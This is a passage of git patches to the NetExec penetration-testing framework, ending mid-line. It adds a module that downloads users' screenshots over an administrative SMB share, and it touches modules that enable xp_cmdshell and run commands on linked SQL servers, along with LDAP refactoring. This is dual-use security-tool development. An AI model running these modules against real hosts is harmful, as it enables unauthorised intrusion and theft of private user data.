54fea6358ec013e455e213a2c904c1cb875f1cb8 Mon Sep 17 00:00:00 2001 From: Yeeb1 <47221467+Yeeb1@users.noreply.github.com> Date: Mon, 8 Jul 2024 21:29:28 +0000 Subject: [PATCH 12/42] Created the Snipped SMB Module --- nxc/modules/snipped.py | 120 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 120 insertions(+) create mode 100644 nxc/modules/snipped.py diff --git a/nxc/modules/snipped.py b/nxc/modules/snipped.py new file mode 100644 index 00000000..e9b65915 --- /dev/null +++ b/nxc/modules/snipped.py @@ -0,0 +1,120 @@ +from impacket import smb, smb3 +import ntpath +from os import makedirs +from os.path import join, exists +from dploot.lib.smb import DPLootSMBConnection +from dploot.lib.target import Target + +class NXCModule: + + name = "snipped" + description = "Downloads screenshots taken by the (new) Snipping Tool." + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.context = None + self.module_options = None + + def options(self, context, module_options): + """ + USERS Download only specified user(s); format: -o USERS=user1,user2,user3 + """ + self.context = context + self.screenshot_path_stub = r"Pictures\Screenshots" + self.users = module_options["USERS"].split(",") if "USERS" in module_options else None + + def on_admin_login(self, context, connection): + self.context = context + self.connection = connection + self.share = "C$" + + host = f"{connection.hostname}.{connection.domain}" + domain = connection.domain + username = connection.username + kerberos = connection.kerberos + aesKey = connection.aesKey + use_kcache = getattr(connection, "use_kcache", False) + password = getattr(connection, "password", "") + lmhash = getattr(connection, "lmhash", "") + nthash = getattr(connection, "nthash", "") + + target = Target.create( + domain=domain, + username=username, + password=password, + target=host, + lmhash=lmhash, + nthash=nthash, + do_kerberos=kerberos, + aesKey=aesKey, + use_kcache=use_kcache, + ) + + dploot_conn = self.upgrade_connection(target=target, connection=connection.conn) + + output_path = f"nxc_snipped_{connection.host}" + context.log.debug("Getting all user folders") + try: + user_folders = dploot_conn.listPath(self.share, "\\Users\\*") + except Exception as e: + context.log.fail(f"Failed to list user folders: {e}") + return + + context.log.debug(f"User folders: {user_folders}") + if not user_folders: + context.log.fail("No User folders found!") + return + else: + context.log.display("Attempting to download screenshots if existent.") + + for user_folder in user_folders: + if not user_folder.is_directory(): + continue + folder_name = user_folder.get_longname() + if folder_name in [".", "..", "All Users", "Default", "Default User", "Public"]: + continue + if self.users and folder_name not in self.users: + continue + + screenshot_path = ntpath.normpath(join(r"Users", folder_name, self.screenshot_path_stub)) + try: + screenshot_files = dploot_conn.listPath(self.share, screenshot_path + "\\*") + except Exception as e: + context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}") + continue + + if not screenshot_files: + context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}") + continue + + user_output_dir = join(output_path, folder_name) + if not exists(user_output_dir): + makedirs(user_output_dir) + + context.log.display(f"Downloading screenshots for user {folder_name}") + downloaded_count = 0 + for file in screenshot_files: + if file.is_directory(): + continue + remote_file_path = ntpath.join(screenshot_path, file.get_longname()) + local_file_path = join(user_output_dir, file.get_longname()) + with open(local_file_path, 'wb') as local_file: + try: + context.log.debug(f"Downloading {remote_file_path} to {local_file_path}") + dploot_conn.readFile(self.share, remote_file_path, local_file.write) + downloaded_count += 1 + except Exception as e: + context.log.debug(f"Failed to download {remote_file_path} for user {folder_name}: {e}") + continue + + context.log.success(f"{downloaded_count} screenshots for user {folder_name} downloaded to {user_output_dir}") + + def upgrade_connection(self, target: Target, connection=None): + conn = DPLootSMBConnection(target) + if connection is not None: + conn.smb_session = connection + else: + conn.connect() + return conn From af512f1e6ba7dd37f11e430bdf18b0d22347ddd7 Mon Sep 17 00:00:00 2001 From: Yeeb1 <47221467+Yeeb1@users.noreply.github.com> Date: Tue, 5 Nov 2024 03:26:32 +0000 Subject: [PATCH 13/42] Modifed Snipped Module --- nxc/modules/snipped.py | 172 ++++++++++++++++++++++------------------- 1 file changed, 93 insertions(+), 79 deletions(-) diff --git a/nxc/modules/snipped.py b/nxc/modules/snipped.py index e9b65915..e5bfe00f 100644 --- a/nxc/modules/snipped.py +++ b/nxc/modules/snipped.py @@ -1,9 +1,8 @@ -from impacket import smb, smb3 import ntpath -from os import makedirs -from os.path import join, exists -from dploot.lib.smb import DPLootSMBConnection -from dploot.lib.target import Target +import os +from os.path import join, getsize, exists +from nxc.paths import NXC_PATH + class NXCModule: @@ -16,105 +15,120 @@ class NXCModule: def __init__(self): self.context = None self.module_options = None + self.excluded_files = ["desktop.ini"] def options(self, context, module_options): - """ - USERS Download only specified user(s); format: -o USERS=user1,user2,user3 - """ + """USERS: Download only specified user(s); format: -o USERS=user1,user2,user3""" self.context = context - self.screenshot_path_stub = r"Pictures\Screenshots" - self.users = module_options["USERS"].split(",") if "USERS" in module_options else None + self.users = [user.lower() for user in module_options["USERS"].split(",")] if "USERS" in module_options else None + + def on_admin_login(self, context, connection): self.context = context self.connection = connection self.share = "C$" - - host = f"{connection.hostname}.{connection.domain}" - domain = connection.domain - username = connection.username - kerberos = connection.kerberos - aesKey = connection.aesKey - use_kcache = getattr(connection, "use_kcache", False) - password = getattr(connection, "password", "") - lmhash = getattr(connection, "lmhash", "") - nthash = getattr(connection, "nthash", "") - target = Target.create( - domain=domain, - username=username, - password=password, - target=host, - lmhash=lmhash, - nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, - use_kcache=use_kcache, - ) + output_base_dir = join(NXC_PATH, "modules", "snipped", "screenshots") + os.makedirs(output_base_dir, exist_ok=True) - dploot_conn = self.upgrade_connection(target=target, connection=connection.conn) - - output_path = f"nxc_snipped_{connection.host}" - context.log.debug("Getting all user folders") + context.log.info("Getting all user folders") try: - user_folders = dploot_conn.listPath(self.share, "\\Users\\*") + user_folders = connection.conn.listPath(self.share, "\\Users\\*") except Exception as e: context.log.fail(f"Failed to list user folders: {e}") return - context.log.debug(f"User folders: {user_folders}") + context.log.info(f"User folders: {[folder.get_longname() for folder in user_folders]}") if not user_folders: context.log.fail("No User folders found!") return else: - context.log.display("Attempting to download screenshots if existent.") + context.log.info("Attempting to download screenshots if they exist.") + + total_files_downloaded = 0 + host_output_path = None for user_folder in user_folders: - if not user_folder.is_directory(): - continue folder_name = user_folder.get_longname() - if folder_name in [".", "..", "All Users", "Default", "Default User", "Public"]: - continue - if self.users and folder_name not in self.users: - continue - - screenshot_path = ntpath.normpath(join(r"Users", folder_name, self.screenshot_path_stub)) - try: - screenshot_files = dploot_conn.listPath(self.share, screenshot_path + "\\*") - except Exception as e: - context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}") - continue - - if not screenshot_files: - context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}") - continue - - user_output_dir = join(output_path, folder_name) - if not exists(user_output_dir): - makedirs(user_output_dir) - - context.log.display(f"Downloading screenshots for user {folder_name}") - downloaded_count = 0 - for file in screenshot_files: - if file.is_directory(): + if folder_name.lower() not in [".", "..", "all users", "default", "default user", "public"]: + normalized_name = folder_name.lower() + if self.users and normalized_name not in self.users: continue - remote_file_path = ntpath.join(screenshot_path, file.get_longname()) - local_file_path = join(user_output_dir, file.get_longname()) - with open(local_file_path, 'wb') as local_file: + + context.log.info(f"Searching for Screenshots folder in {folder_name}'s home directory") + screenshots_folders = self.find_screenshots_folders(folder_name) + if not screenshots_folders: + context.log.debug(f"No Screenshots folder found for user {folder_name}. Skipping.") + continue + + for screenshot_path in screenshots_folders: try: - context.log.debug(f"Downloading {remote_file_path} to {local_file_path}") - dploot_conn.readFile(self.share, remote_file_path, local_file.write) - downloaded_count += 1 + screenshot_files = connection.conn.listPath(self.share, screenshot_path + "\\*") except Exception as e: - context.log.debug(f"Failed to download {remote_file_path} for user {folder_name}: {e}") + context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}") continue - context.log.success(f"{downloaded_count} screenshots for user {folder_name} downloaded to {user_output_dir}") + if not screenshot_files: + context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}") + continue - def upgrade_connection(self, target: Target, connection=None): - conn = DPLootSMBConnection(target) - if connection is not None: - conn.smb_session = connection - else: - conn.connect() - return conn + user_output_dir = join(output_base_dir, connection.host) + os.makedirs(user_output_dir, exist_ok=True) + host_output_path = user_output_dir + + for file in screenshot_files: + if not file.is_directory(): + remote_file_name = file.get_longname() + + if remote_file_name.lower() in self.excluded_files: + context.log.debug(f"Excluding file {remote_file_name}.") + continue + + remote_file_path = ntpath.join(screenshot_path, remote_file_name) + sanitized_path = screenshot_path.replace("\\", "_").replace("/", "_") + local_file_name = f"{folder_name}_{sanitized_path}_{remote_file_name}" + local_file_path = join(user_output_dir, local_file_name) + + try: + with open(local_file_path, "wb") as local_file: + context.log.debug(f"Downloading {remote_file_path} to {local_file_path}") + connection.conn.getFile(self.share, remote_file_path, local_file.write) + + if not exists(local_file_path): + context.log.error(f"Downloaded file {local_file_path} does not exist.") + continue + + file_size = getsize(local_file_path) + if file_size == 0: + context.log.error(f"Downloaded file {local_file_path} is 0 bytes. Skipping.") + os.remove(local_file_path) + else: + total_files_downloaded += 1 + except Exception as e: + context.log.debug(f"Failed to download {remote_file_path} for user {folder_name}: {e}") + + if total_files_downloaded > 0 and host_output_path: + context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}.") + + + def find_screenshots_folders(self, user_folder_name): + """ + Dynamically searches for all Screenshots folders in the user's home directory. + Returns a list of paths. + """ + base_path = ntpath.normpath(join(r"Users", user_folder_name)) + screenshots_folders = [] + try: + subfolders = self.connection.conn.listPath(self.share, base_path + "\\*") + for subfolder in subfolders: + if subfolder.is_directory() and subfolder.get_longname() not in [".", ".."]: + potential_path = ntpath.join(base_path, subfolder.get_longname(), "Screenshots") + try: + if self.connection.conn.listPath(self.share, potential_path + "\\*"): + screenshots_folders.append(potential_path) + except Exception: + continue + except Exception as e: + self.context.log.debug(f"Failed to list subfolders for {base_path}: {e}") + return screenshots_folders From cb44d09df795e48c032a3a05d97181e1cefe736f Mon Sep 17 00:00:00 2001 From: mpgn Date: Tue, 17 Dec 2024 21:08:00 +0100 Subject: [PATCH 14/42] fix ruff --- nxc/modules/notepad++.py | 2 +- nxc/modules/powershell_history.py | 10 +++------- nxc/modules/shadowrdp.py | 2 +- 3 files changed, 5 insertions(+), 9 deletions(-) diff --git a/nxc/modules/notepad++.py b/nxc/modules/notepad++.py index 54f19faf..9450e2bc 100644 --- a/nxc/modules/notepad++.py +++ b/nxc/modules/notepad++.py @@ -20,7 +20,7 @@ class NXCModule: def on_admin_login(self, context, connection): found = 0 - for directory in connection.conn.listPath("C$", "Users\\*"): + for directory in connection.conn.listPath("C$", "Users\\*"): if directory.get_longname() not in self.false_positive and directory.is_directory(): try: notepad_backup_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\" diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index c410d3b1..3e531dc3 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -25,7 +25,7 @@ class NXCModule: self.export = bool(module_options.get("EXPORT", False)) def on_admin_login(self, context, connection): - for directory in connection.conn.listPath("C$", "Users\\*"): + for directory in connection.conn.listPath("C$", "Users\\*"): if directory.get_longname() not in self.false_positive and directory.is_directory(): try: powershell_history_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\" @@ -37,12 +37,8 @@ class NXCModule: connection.conn.getFile("C$", file_path, buf.write) buf.seek(0) file_content = buf.read().decode("utf-8", errors="ignore").lower() - keywords = [] - for keyword in self.sensitive_keywords: - if keyword in file_content: - keywords.append(keyword.upper()) - - if keyword: + keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword in file_content] + if len(keywords): context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]") else: context.log.highlight(f"C:\\{file_path}") diff --git a/nxc/modules/shadowrdp.py b/nxc/modules/shadowrdp.py index 040cb645..40ad8120 100644 --- a/nxc/modules/shadowrdp.py +++ b/nxc/modules/shadowrdp.py @@ -38,7 +38,7 @@ class NXCModule: remoteOps._RemoteOperations__rrp, regHandle, "Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\\" - )['phkResult'] + )["phkResult"] # Checks if the key already exists or not try: From 4c9db0a3772a17b21bbf498850035c80fd88fd0e Mon Sep 17 00:00:00 2001 From: mpgn Date: Tue, 17 Dec 2024 21:18:57 +0100 Subject: [PATCH 15/42] fix ruff --- nxc/modules/enum_impersonate.py | 9 +++++---- nxc/modules/enum_links.py | 9 +++++---- nxc/modules/enum_logins.py | 9 +++++---- nxc/modules/exec_on_link.py | 11 +++++------ nxc/modules/link_enable_xp.py | 11 ++++++----- nxc/modules/link_xpcmd.py | 7 ++++--- 6 files changed, 30 insertions(+), 26 deletions(-) diff --git a/nxc/modules/enum_impersonate.py b/nxc/modules/enum_impersonate.py index 5079f7af..9dc142c5 100644 --- a/nxc/modules/enum_impersonate.py +++ b/nxc/modules/enum_impersonate.py @@ -1,7 +1,8 @@ -#Author: -# deathflamingo class NXCModule: - """Enumerate SQL Server users with impersonation rights""" + """ + Enumerate SQL Server users with impersonation rights + Module by deathflamingo + """ name = "enum_impersonate" description = "Enumerate users with impersonation privileges" @@ -28,7 +29,7 @@ class NXCModule: """ Fetches a list of users with impersonation rights. - Returns: + Returns ------- list: List of user names. """ diff --git a/nxc/modules/enum_links.py b/nxc/modules/enum_links.py index 0797fd6a..fea52cd3 100644 --- a/nxc/modules/enum_links.py +++ b/nxc/modules/enum_links.py @@ -1,7 +1,8 @@ -#Author: -# deathflamingo class NXCModule: - """Enumerate SQL Server linked servers""" + """ + Enumerate SQL Server linked servers + Module by deathflamingo + """ name = "enum_links" description = "Enumerate linked SQL Servers" @@ -28,7 +29,7 @@ class NXCModule: """ Fetches a list of linked servers. - Returns: + Returns ------- list: List of linked server names. """ diff --git a/nxc/modules/enum_logins.py b/nxc/modules/enum_logins.py index 7b4449f2..42302338 100644 --- a/nxc/modules/enum_logins.py +++ b/nxc/modules/enum_logins.py @@ -1,7 +1,8 @@ -#Author: -# deathflamingo class NXCModule: - """Enumerate SQL Server logins""" + """ + Enumerate SQL Server logins + Module by deathflamingo + """ name = "enum_logins" description = "Enumerate SQL Server logins" @@ -28,7 +29,7 @@ class NXCModule: """ Fetches a list of SQL Server logins. - Returns: + Returns ------- list: List of login names. """ diff --git a/nxc/modules/exec_on_link.py b/nxc/modules/exec_on_link.py index a5342bd1..a620101a 100644 --- a/nxc/modules/exec_on_link.py +++ b/nxc/modules/exec_on_link.py @@ -1,7 +1,8 @@ -#Author: -# deathflamingo class NXCModule: - """Execute commands on linked servers""" + """ + Execute commands on linked servers + Module by deathflamingo + """ name = "exec_on_link" description = "Execute commands on a SQL Server linked server" @@ -35,9 +36,7 @@ class NXCModule: self.execute_on_link() def execute_on_link(self): - """ - Executes the specified command on the linked server. - """ + """Executes the specified command on the linked server.""" query = f"EXEC ('{self.command}') AT [{self.linked_server}];" result = self.mssql_conn.sql_query(query) self.context.log.display(f"Command output: {result}") diff --git a/nxc/modules/link_enable_xp.py b/nxc/modules/link_enable_xp.py index e5f514f2..028170ac 100644 --- a/nxc/modules/link_enable_xp.py +++ b/nxc/modules/link_enable_xp.py @@ -1,7 +1,8 @@ -#Author: -# deathflamingo class NXCModule: - """Enable or disable xp_cmdshell on a linked SQL server""" + """ + Enable or disable xp_cmdshell on a linked SQL server + Module by deathflamingo + """ name = "link_enable_xp" description = "Enable or disable xp_cmdshell on a linked SQL server" @@ -43,10 +44,10 @@ class NXCModule: """Enable xp_cmdshell on the linked server.""" query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{self.linked_server}]" self.context.log.display(f"Enabling advanced options on {self.linked_server}...") - out=self.query_and_get_output(query) + out = self.query_and_get_output(query) query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]" self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}...") - out=self.query_and_get_output(query) + out = self.query_and_get_output(query) self.context.log.display(out) self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}") diff --git a/nxc/modules/link_xpcmd.py b/nxc/modules/link_xpcmd.py index a1318a8a..1376a143 100644 --- a/nxc/modules/link_xpcmd.py +++ b/nxc/modules/link_xpcmd.py @@ -1,7 +1,8 @@ -#Author: -# deathflamingo class NXCModule: - """Run xp_cmdshell commands on a linked SQL server""" + """ + Run xp_cmdshell commands on a linked SQL server + Module by deathflamingo + """ name = "link_xpcmd" description = "Run xp_cmdshell commands on a linked SQL server" From 0b2ffca913080ed3f6eec75977a3a7b2369a060d Mon Sep 17 00:00:00 2001 From: Randall Stroup <1945569+Mortimus@users.noreply.github.com> Date: Wed, 18 Dec 2024 14:31:45 -0600 Subject: [PATCH 16/42] Update pyproject.toml Updated missing dependency for wam module Signed-off-by: Randall Stroup <1945569+Mortimus@users.noreply.github.com> --- pyproject.toml | 1 + 1 file changed, 1 insertion(+) diff --git a/pyproject.toml b/pyproject.toml index ea39d07c..c365b429 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -44,6 +44,7 @@ bloodhound = "^1.7.2" dploot = "^3.0.3" dsinternals = "^1.2.4" impacket = { git = "https://github.com/fortra/impacket.git" } +jwt = ">=1.3.1" lsassy = ">=3.1.11" masky = "^0.2.0" minikerberos = "^0.4.1" From 59e091ba34c66a5d73c4adbbc8b89c5c6d89e581 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Thu, 19 Dec 2024 02:37:06 +0100 Subject: [PATCH 17/42] add poetry.lock --- poetry.lock | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/poetry.lock b/poetry.lock index 95daa11d..d9c08a13 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 1.8.4 and should not be changed by hand. +# This file is automatically @generated by Poetry 1.8.3 and should not be changed by hand. [[package]] name = "aardwolf" @@ -959,6 +959,19 @@ MarkupSafe = ">=2.0" [package.extras] i18n = ["Babel (>=2.7)"] +[[package]] +name = "jwt" +version = "1.3.1" +description = "JSON Web Token library for Python 3." +optional = false +python-versions = ">= 3.6" +files = [ + {file = "jwt-1.3.1-py3-none-any.whl", hash = "sha256:61c9170f92e736b530655e75374681d4fcca9cfa8763ab42be57353b2b203494"}, +] + +[package.dependencies] +cryptography = ">=3.1,<3.4.0 || >3.4.0" + [[package]] name = "ldap3" version = "2.9.1" @@ -2494,4 +2507,4 @@ files = [ [metadata] lock-version = "2.0" python-versions = "^3.10.0" -content-hash = "b102ff826faf73e87da291e242fcdb95294a641c8d8ab8590d9b47f73d6375b6" +content-hash = "9af8efb9eb1cf1026dca8b5276ca23db2dbcdf6865fd61920a9daf1098646193" From 02981b187e0a5fe4fa2162ff42f589251bd7958f Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Wed, 18 Dec 2024 23:01:38 +0100 Subject: [PATCH 18/42] Remove smb from ldap proto --- nxc/protocols/ldap.py | 150 +++++++------------------------ nxc/protocols/ldap/proto_args.py | 1 - 2 files changed, 33 insertions(+), 118 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 19b877fb..f79a51ad 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -31,8 +31,8 @@ from impacket.ldap import ldap as ldap_impacket from impacket.ldap import ldaptypes from impacket.ldap import ldapasn1 as ldapasn1_impacket from impacket.ldap.ldap import LDAPFilterSyntaxError -from impacket.smb import SMB_DIALECT from impacket.smbconnection import SMBConnection, SessionError +from impacket.ntlm import getNTLMSSPType1 from nxc.config import process_secret, host_info_colors from nxc.connection import connection @@ -42,6 +42,7 @@ from nxc.protocols.ldap.bloodhound import BloodHound from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB from nxc.protocols.ldap.kerberos import KerberosAttacks from nxc.parsers.ldap_results import parse_result_attributes +from nxc.helpers.ntlm_parser import parse_challenge ldap_error_status = { "1": "STATUS_NOT_SUPPORTED", @@ -163,15 +164,15 @@ class ldap(connection): } ) - def get_ldap_info(self, host): + def create_conn_obj(self): try: proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" - ldap_url = f"{proto}://{host}" + ldap_url = f"{proto}://{self.host}" self.logger.info(f"Connecting to {ldap_url} with no baseDN") try: - ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host) - if ldap_connection: - self.logger.debug(f"ldap_connection: {ldap_connection}") + self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host) + if self.ldap_connection: + self.logger.debug(f"ldap_connection: {self.ldap_connection}") except SysCallError as e: if proto == "ldaps": self.logger.fail(f"LDAPs connection to {ldap_url} failed - {e}") @@ -179,9 +180,9 @@ class ldap(connection): self.logger.fail("Even if the port is open, LDAPS may not be configured") else: self.logger.fail(f"LDAP connection to {ldap_url} failed: {e}") - exit(1) + return False - resp = ldap_connection.search( + resp = self.ldap_connection.search( scope=ldapasn1_impacket.Scope("baseObject"), attributes=["defaultNamingContext", "dnsHostName"], sizeLimit=0, @@ -208,42 +209,18 @@ class ldap(connection): self.logger.debug("Exception:", exc_info=True) self.logger.info(f"Skipping item, cannot process due to error {e}") except OSError: - return [None, None, None] + return False self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}") - return [target, target_domain, base_dn] - - def get_os_arch(self): - try: - string_binding = rf"ncacn_ip_tcp:{self.host}[135]" - transport = DCERPCTransportFactory(string_binding) - transport.setRemoteHost(self.host) - transport.set_connect_timeout(5) - dce = transport.get_dce_rpc() - if self.args.kerberos: - dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - dce.connect() - try: - dce.bind( - MSRPC_UUID_PORTMAP, - transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0"), - ) - except DCERPCException as e: - if str(e).find("syntaxes_not_supported") >= 0: - dce.disconnect() - return 32 - else: - dce.disconnect() - return 64 - except Exception as e: - self.logger.fail(f"Error retrieving os arch of {self.host}: {e!s}") - - return 0 + self.target = target + self.targetDomain = target_domain + self.baseDN = base_dn + return True def get_ldap_username(self): extended_request = ldapasn1_impacket.ExtendedRequest() extended_request["requestName"] = "1.3.6.1.4.1.4203.1.11.3" # whoami - response = self.ldapConnection.sendReceive(extended_request) + response = self.ldap_connection.sendReceive(extended_request) for message in response: search_result = message["protocolOp"].getComponent() if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"): @@ -254,46 +231,26 @@ class ldap(connection): return "" def enum_host_info(self): - self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host) self.baseDN = self.args.base_dn if self.args.base_dn else self.baseDN # Allow overwriting baseDN from args self.hostname = self.target self.remoteName = self.target self.domain = self.targetDomain - # smb no open, specify the domain - if not self.args.no_smb: - self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] - try: - self.conn.login("", "") - except BrokenPipeError as e: - self.logger.fail(f"Broken Pipe Error while attempting to login: {e}") - except Exception as e: - if "STATUS_NOT_SUPPORTED" in str(e): - self.no_ntlm = True - if not self.no_ntlm: - self.hostname = self.conn.getServerName() - self.targetDomain = self.domain = self.conn.getServerDNSDomainName() - self.server_os = self.conn.getServerOS() - self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"] - self.os_arch = self.get_os_arch() - self.logger.extra["hostname"] = self.hostname + ntlm_challenge = None + bindRequest = ldapasn1_impacket.BindRequest() + bindRequest['version'] = 3 + bindRequest['name'] = "" + negotiate = getNTLMSSPType1() + bindRequest['authentication']['sicilyNegotiate'] = negotiate.getData() + try: + response = self.ldap_connection.sendReceive(bindRequest)[0]['protocolOp'] + ntlm_challenge = bytes(response['bindResponse']['matchedDN']) + except Exception as e: + self.logger.debug(f"Failed to get target {self.host} ntlm challenge, error: {e!s}") - if not self.domain: - self.domain = self.hostname - if self.args.domain: - self.domain = self.args.domain - if self.args.local_auth: - self.domain = self.hostname - self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}" - - try: # noqa: SIM105 - # DC's seem to want us to logoff first, windows workstations sometimes reset the connection - self.conn.logoff() - except Exception: - pass - - # Re-connect since we logged off - self.create_conn_obj() + if ntlm_challenge: + ntlm_info = parse_challenge(ntlm_challenge) + self.server_os = ntlm_info["os_version"] if not self.kdcHost and self.domain: result = self.resolver(self.domain) @@ -304,17 +261,10 @@ class ldap(connection): def print_host_info(self): self.logger.debug("Printing host info for LDAP") - if self.args.no_smb: - self.logger.extra["protocol"] = "LDAP" if self.port == 389 else "LDAPS" - self.logger.extra["port"] = self.port - self.logger.display(f'{self.baseDN} (Hostname: {self.hostname.split(".")[0]}) (domain: {self.domain})') - else: - self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP" - self.logger.extra["port"] = "445" if not self.no_ntlm else "389" - signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"]) - smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"]) - self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})") - self.logger.extra["protocol"] = "LDAP" + self.logger.extra["protocol"] = "LDAP" if str(self.port) == "389" else "LDAPS" + self.logger.extra["port"] = self.port + self.logger.extra["hostname"] = self.target.split(".")[0].upper() + self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})") def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): self.username = username @@ -594,40 +544,6 @@ class ldap(connection): self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}") return False - def create_smbv1_conn(self): - self.logger.debug("Creating smbv1 connection object") - try: - self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT) - self.smbv1 = True - if self.conn: - self.logger.debug("SMBv1 Connection successful") - except OSError as e: - if str(e).find("Connection reset by peer") != -1: - self.logger.debug(f"SMBv1 might be disabled on {self.host}") - return False - except Exception as e: - self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}") - return False - return True - - def create_smbv3_conn(self): - self.logger.debug("Creating smbv3 connection object") - try: - self.conn = SMBConnection(self.host, self.host, None, 445) - self.smbv1 = False - if self.conn: - self.logger.debug("SMBv3 Connection successful") - except OSError: - return False - except Exception as e: - self.logger.debug(f"Error creating SMBv3 connection to {self.host}: {e}") - return False - - return True - - def create_conn_obj(self): - return bool(self.args.no_smb or self.create_smbv1_conn() or self.create_smbv3_conn()) - def get_sid(self): self.logger.highlight(f"Domain SID {self.sid_domain}") diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index 5c74089f..34fc22ce 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -5,7 +5,6 @@ def proto_args(parser, parents): ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=parents, formatter_class=DisplayDefaultsNotNone) ldap_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") ldap_parser.add_argument("--port", type=int, default=389, help="LDAP port") - ldap_parser.add_argument("--no-smb", action="store_true", help="No smb connection") dgroup = ldap_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to") From 1c55fd806a9724901431d59185787a7a615845a1 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Wed, 18 Dec 2024 23:05:52 +0100 Subject: [PATCH 19/42] fix ruff --- nxc/protocols/ldap.py | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index f79a51ad..ac185fb1 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -14,8 +14,6 @@ from Cryptodome.Hash import MD4 from OpenSSL.SSL import SysCallError from bloodhound.ad.authentication import ADAuthentication from bloodhound.ad.domain import AD -from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP -from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE from impacket.dcerpc.v5.samr import ( UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH, @@ -23,7 +21,6 @@ from impacket.dcerpc.v5.samr import ( UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION, UF_SERVER_TRUST_ACCOUNT, ) -from impacket.dcerpc.v5.transport import DCERPCTransportFactory from impacket.krb5 import constants from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError from impacket.krb5.types import Principal, KerberosException @@ -31,7 +28,7 @@ from impacket.ldap import ldap as ldap_impacket from impacket.ldap import ldaptypes from impacket.ldap import ldapasn1 as ldapasn1_impacket from impacket.ldap.ldap import LDAPFilterSyntaxError -from impacket.smbconnection import SMBConnection, SessionError +from impacket.smbconnection import SessionError from impacket.ntlm import getNTLMSSPType1 from nxc.config import process_secret, host_info_colors @@ -238,13 +235,13 @@ class ldap(connection): ntlm_challenge = None bindRequest = ldapasn1_impacket.BindRequest() - bindRequest['version'] = 3 - bindRequest['name'] = "" + bindRequest["version"] = 3 + bindRequest["name"] = "" negotiate = getNTLMSSPType1() - 